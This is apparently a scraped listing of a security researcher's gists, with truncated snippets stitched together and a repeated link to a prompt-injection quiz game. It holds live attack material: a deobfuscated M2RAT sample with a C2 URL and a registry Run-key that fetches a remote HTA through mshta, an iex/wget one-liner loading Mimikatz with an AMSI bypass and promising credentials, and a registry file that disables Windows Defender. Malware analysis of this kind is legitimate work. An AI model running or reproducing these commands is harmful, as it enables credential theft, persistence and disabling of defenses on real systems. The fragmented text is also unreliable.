https://gandalf.lakera.ai/adventure-8
Here is a quiz!
CIGAM ? What is that?? Check the mirror to find out!!
https://gandalf.lakera.ai/adventure-8
Here is a quiz!
CIGAM ? What is that?? Check the mirror to find out!!
| # Deobfuscated M2RAT | |
| # Refer: https://asec.ahnlab.com/en/56857/ | |
| Start-Sleep -Seconds 68; | |
| $buffer = 1024 * 1024; | |
| $hostid = $env:COMPUTERNAME + '-' + $env:USERNAME; | |
| $C2_URL = 'http://navercorp.ru/dashboard/image/202302/com.php' + '?U=' + $hostid; | |
| $TEMPORARY_FILE = $env:TEMP + '\jXShAegMEWMw'; | |
| if (!(Test-Path$TEMPORARY_FILE)) { | |
| New-ItemProperty -Path HKCU:\Software\ Microsoft\Windows\CurrentVersion\Run -Name fGZtM -Value 'c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 391763 2.2.2.2 || mshta http://navercorp.ru/dashboard/image/202302/4.html' -PropertyType String -Force; | |
| } |
| # Confirm it works in Windows 10 2022 | |
| # Dont download this but execute the next line in command prompt(cmd.exe) | |
| # powershell iex (wget https://gist.githubusercontent.com/Sh1n0g1/b93b48a54276145bd117403a38fd9816/raw/637d7447dc7a99e21cfeec18bec950abbc1bd642/Invoke-OneShot-Mimikatz.ps1).Content | |
| # You will get creds | |
| # | |
| # AMSI Bypass is copied from payatu's AMSI-Bypass (23-August-2021) | |
| # https://payatu.com/blog/arun.nair/amsi-bypass | |
| $code = @" | |
| using System; |
| Windows Registry Editor Version 5.00 | |
| [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender] | |
| "DisableAntiSpyware"=dword:00000001 | |
| "DisableRealtimeMonitoring"=dword:00000001 | |
| "DisableAntiVirus"=dword:00000001 | |
| "DisableSpecialRunningModes"=dword:00000001 | |
| "DisableRoutinelyTakingAction"=dword:00000001 | |
| "ServiceKeepAlive"=dword:00000000 |
| @echo off | |
| net session >nul 2>&1 | |
| if %errorlevel% == 0 ( | |
| echo|set /p="Adding registry 1:" | |
| reg add HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ /v EnableModuleLogging /f /t REG_DWORD /d 1 | |
| echo|set /p="Adding registry 2:" |
| #!python3 | |
| import requests | |
| import time | |
| URL= [ | |
| 'http://shino.club/ ', | |
| 'https://shinobot.com/ ', | |
| 'https://mnd2015.info/ ', | |
| 'https://shinosec.com/ ', |
| $assemblies=( | |
| "System" | |
| ) | |
| $source=@" | |
| using System; | |
| namespace Helloworld | |
| { | |
| public static class Hello{ | |
| public static void Main(){ |